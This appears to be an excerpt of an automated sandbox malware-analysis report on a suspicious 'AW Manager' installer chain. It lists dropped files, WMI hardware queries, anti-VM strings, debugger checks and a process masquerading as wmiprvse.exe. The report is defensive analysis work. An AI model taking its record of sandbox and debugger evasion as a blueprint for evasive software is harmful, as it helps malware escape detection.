Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSICF16.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIB6B2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIB05F.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Temp\shi743E.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	Dropped PE file which has not been started: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\e6adbd27df47824481105a18183e1d5e.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI73CD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC97E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIB0CD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shiF808.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC5F7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: 680b04.rbf (copy)	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC833.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI5C43.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSICFB6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA521.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI7FF9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSICFF7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIB1F8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC5C7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6A82.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSICF77.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: 680af9.rbf (copy)	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIB41E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC94E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6BEB.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI7F89.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-9GOQR.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIB605.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a3.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	Dropped PE file which has not been started: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\4120bfd883d24a4daf0a8db223a7081f.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: 680aff.rbf (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	API coverage: 10.0 %
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	API coverage: 6.2 %
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	API coverage: 6.4 %

Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_0007E370		28_2_0007E370
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_0050E370		31_2_0050E370

Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe TID: 5320	Thread sleep time: -2019250s >= -30000s	Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe TID: 5320	Thread sleep time: -386500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 5244	Thread sleep count: 328 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 6376	Thread sleep count: 46 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 7072	Thread sleep count: 265 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 8704	Thread sleep count: 44 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 8700	Thread sleep count: 283 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 9224	Thread sleep count: 50 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 13728	Thread sleep count: 48 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 10388	Thread sleep count: 57 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 14536	Thread sleep count: 43 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 15352	Thread sleep count: 39 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 12888	Thread sleep count: 296 > 30

Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\expand.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	File Volume queried: C:\Users\user\AppData\Roaming FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	File Volume queried: C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	File Volume queried: C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62 FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	File Volume queried: C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62 FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File Volume queried: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File Volume queried: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504 FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File Volume queried: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504 FullSizeInformation
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File Volume queried: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504 FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_10003A90 FtpSetCurrentDirectoryW,FtpFindFirstFileW,InternetFindNextFileW,InternetFindNextFileW,InternetCloseHandle,	4_2_10003A90
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002B6160 FindFirstFileW,GetLastError,FindClose,	20_2_002B6160
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002D9090 FindFirstFileW,FindClose,CloseHandle,CloseHandle,CloseHandle,CreateEventW,CreateThread,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	20_2_002D9090
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001CF3C0 FindClose,FindFirstFileW,GetFullPathNameW,GetFullPathNameW,FindClose,SetLastError,_wcsrchr,_wcsrchr,	20_2_001CF3C0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002B5B90 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,GetFileAttributesW,FindNextFileW,	20_2_002B5B90
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002D9F30 FindFirstFileW,FindClose,	20_2_002D9F30
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002E2330 FindFirstFileW,FindClose,	20_2_002E2330
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002F4630 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,	20_2_002F4630
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002C2ED0 FindFirstFileW,FindClose,FindClose,	20_2_002C2ED0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002B5800 _wcsrchr,FindFirstFileW,FindFirstFileW,FindFirstFileW,FindClose,FindClose,_wcsrchr,	20_2_002B5800
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002B7910 FindFirstFileW,FindClose,	20_2_002B7910
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_0029BD30 FindFirstFileW,FindNextFileW,FindClose,	20_2_0029BD30
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002E1F30 FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,	20_2_002E1F30
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002D5F70 FindFirstFileW,FindClose,	20_2_002D5F70
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A5651D0 FindFirstFileW,FindClose,GetLastError,FindClose,	20_2_6A5651D0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A55B570 FindClose,PathIsUNCW,FindFirstFileW,GetFullPathNameW,GetFullPathNameW,FindClose,SetLastError,_wcsrchr,_wcsrchr,	20_2_6A55B570
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A583F55 FindFirstFileExW,	20_2_6A583F55
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_0006D7C0 GetLastError,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindClose,	28_2_0006D7C0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000EF4F9 FindFirstFileExW,	28_2_000EF4F9
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_004FD7C0 GetLastError,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindClose,	31_2_004FD7C0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_0057F4F9 FindFirstFileExW,	31_2_0057F4F9

Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe

Code function: 20_2_002E0F00 _wcschr,_wcsrchr,_wcsrchr,GetLogicalDriveStringsW,GetDriveTypeW,Wow64DisableWow64FsRedirection,Wow64RevertWow64FsRedirection,

20_2_002E0F00

Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe

Code function: 20_2_00346652 VirtualQuery,GetSystemInfo,

20_2_00346652

Source: wmiprvse.exe, 0000000E.00000002.4556173624.000000006BEE0000.00000002.00000001.01000000.00000017.sdmp	Binary or memory string: VMware
Source: Windows Updater.exe, 0000001F.00000002.2922284466.0000000000F46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: wmiprvse.exe, 0000000E.00000002.4545412473.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(#
Source: ZmWSzgevgt.tmp, 00000001.00000002.4546318478.000000000094D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW84
Source: MSI743D.tmp.21.dr	Binary or memory string: RegOpenKeyTransactedW::NetUserGetInfo() failed with error: \@invalid string_view positionVMware, Inc.VMware Virtual PlatformVMware7,1innotek GmbHVirtualBoxMicrosoft CorporationVirtual MachineVRTUALACRSYSA M IGetting system informationManufacturer [Model [BIOS [\\?\UNC\\\?\shim_clone%d.%d.%d.%dDllGetVersion[%!]%!ProgramFilesFolderCommonFilesFolderDesktopFolderAllUsersDesktopFolderAppDataFolderFavoritesFolderStartMenuFolderProgramMenuFolderStartupFolderFontsFolderLocalAppDataFolderCommonAppDataFolderProgramFiles64FolderProgramFilesProgramW6432SystemFolderSystem32FolderWindowsFolderWindowsVolumeTempFolderSETUPEXEDIRshfolder.dllSHGetFolderPathWProgramFilesAPPDATAPROGRAMFILES&+
Source: Windows Updater.exe, 0000001F.00000002.2922284466.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wmiprvse.exe, 0000000E.00000002.4545412473.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW Win32_SystemEnclosure
Source: wmiprvse.exe, 0000000E.00000002.4556173624.000000006BEE0000.00000002.00000001.01000000.00000017.sdmp	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: wmiprvse.exe, 0000000E.00000002.4556884096.000000006BF4E000.00000002.00000001.01000000.00000016.sdmp	Binary or memory string: skt%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllGetAdaptersInfoIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlTCREMOTETCBRIDGE%s=%s
Source: ZmWSzgevgt.tmp, 00000001.00000002.4546318478.0000000000992000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000003.2102655489.000000000098D000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp, wmiprvse.exe, 0000000E.00000002.4545412473.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2489922583.0000000004348000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2487272029.000000000433D000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2487171415.0000000004382000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2486195028.000000000437E000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2487407898.0000000004345000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2486296191.000000000433D000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2489984022.0000000004397000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wmiprvse.exe, 0000000E.00000002.4556173624.000000006BEE0000.00000002.00000001.01000000.00000017.sdmp	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla
Source: Windows Updater.exe, 0000001F.00000002.2922284466.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: wmiprvse.exe, 0000000E.00000002.4556884096.000000006BF4E000.00000002.00000001.01000000.00000016.sdmp	Binary or memory string: VMWare
Source: setup.tmp, 00000004.00000002.4546268057.0000000000819000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 01234567890.0.0.0.%dVMware, Inc.VMware Virtual PlatformVMware7,1innotek GmbHVirtualBoxMicrosoft CorporationVirtual MachineVRTUALACRSYSA M IROOT\CIMV2SELECT * FROM Win32_ComputerSystemSELECT * FROM Win32_BIOSManufacturerModelVersionGetting system informationManufacturer [Model [BIOS [IsWow64Processkernel32Software\Microsoft\Windows NT\CurrentVersionSYSTEM\CurrentControlSet\Control\ProductOptionsCurrentMajorVersionNumberCurrentMinorVersionNumberCurrentVersionCurrentBuildNumberReleaseIdCSDVersionProductTypeProductSuiteWinNTServerNTSmall BusinessEnterpriseBackOfficeCommunicationServerTerminal ServerSmall Business(Restricted)EmbeddedNTDataCenterPersonalBladeEmbedded(Restricted)Security ApplianceStorage ServerCompute Server Failed to create IWbemLocator object. Error code: \\Could not connect to WMI provider. Error code: Failed to initialize security. Error code: Could not set proxy blanket. Error code: WQLWMI Query failed: []. Error code:
Source: AdvancedWindowsManager.exe, 0000002B.00000002.2790436523.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp, AdvancedWindowsManager.exe, 0000002D.00000002.2805651281.0000000000D99000.00000004.00000020.00020000.00000000.sdmp, AdvancedWindowsManager.exe, 0000002E.00000002.2804763775.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp, AdvancedWindowsManager.exe, 0000002F.00000002.2702508192.00000000000A9000.00000004.00000020.00020000.00000000.sdmp, AdvancedWindowsManager.exe, 00000031.00000002.2712161571.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, AdvancedWindowsManager.exe, 00000032.00000002.2711998440.0000000000E49000.00000004.00000020.00020000.00000000.sdmp, AdvancedWindowsManager.exe, 00000034.00000002.2713564233.0000000000E08000.00000004.00000020.00020000.00000000.sdmp, AdvancedWindowsManager.exe, 00000036.00000002.2707866258.0000000000079000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Windows Updater.exe, 0000001C.00000002.2534661329.000000000064D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWd
Source: AdvancedWindowsManager.exe, 00000037.00000002.2802253604.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll<<

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp

API call chain: ExitProcess graph end node

graph_4-20625

Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp

Code function: 4_2_1001610F _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

4_2_1001610F

Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe

Code function: 28_2_00088150 CreateFileW,GetLastError,OutputDebugStringW,OutputDebugStringW,SetFilePointer,FlushFileBuffers,WriteFile,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,OutputDebugStringW,WriteFile,WriteFile,FlushFileBuffers,FlushFileBuffers,

28_2_00088150

Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe

Code function: 20_2_002F42C0 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

20_2_002F42C0

Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_0035EA61 mov ecx, dword ptr fs:[00000030h]	20_2_0035EA61
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_00348E85 mov esi, dword ptr fs:[00000030h]	20_2_00348E85
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_0036389E mov eax, dword ptr fs:[00000030h]	20_2_0036389E
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_003638E2 mov eax, dword ptr fs:[00000030h]	20_2_003638E2
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A57A94C mov ecx, dword ptr fs:[00000030h]	20_2_6A57A94C
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A583CC9 mov eax, dword ptr fs:[00000030h]	20_2_6A583CC9
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000E55B1 mov ecx, dword ptr fs:[00000030h]	28_2_000E55B1
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000D6A04 mov esi, dword ptr fs:[00000030h]	28_2_000D6A04
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000EF2F8 mov eax, dword ptr fs:[00000030h]	28_2_000EF2F8
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_00566A04 mov esi, dword ptr fs:[00000030h]	31_2_00566A04
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_0057F2F8 mov eax, dword ptr fs:[00000030h]	31_2_0057F2F8
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_005755B1 mov ecx, dword ptr fs:[00000030h]	31_2_005755B1

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp

Code function: 4_2_10027129 __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,RtlAllocateHeap,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

4_2_10027129

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_1001610F _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_1001610F
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_10019C57 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_10019C57
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_1001F48D SetUnhandledExceptionFilter,__encode_pointer,	4_2_1001F48D
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_1001F4AF __decode_pointer,SetUnhandledExceptionFilter,	4_2_1001F4AF
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_10015D38 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_10015D38
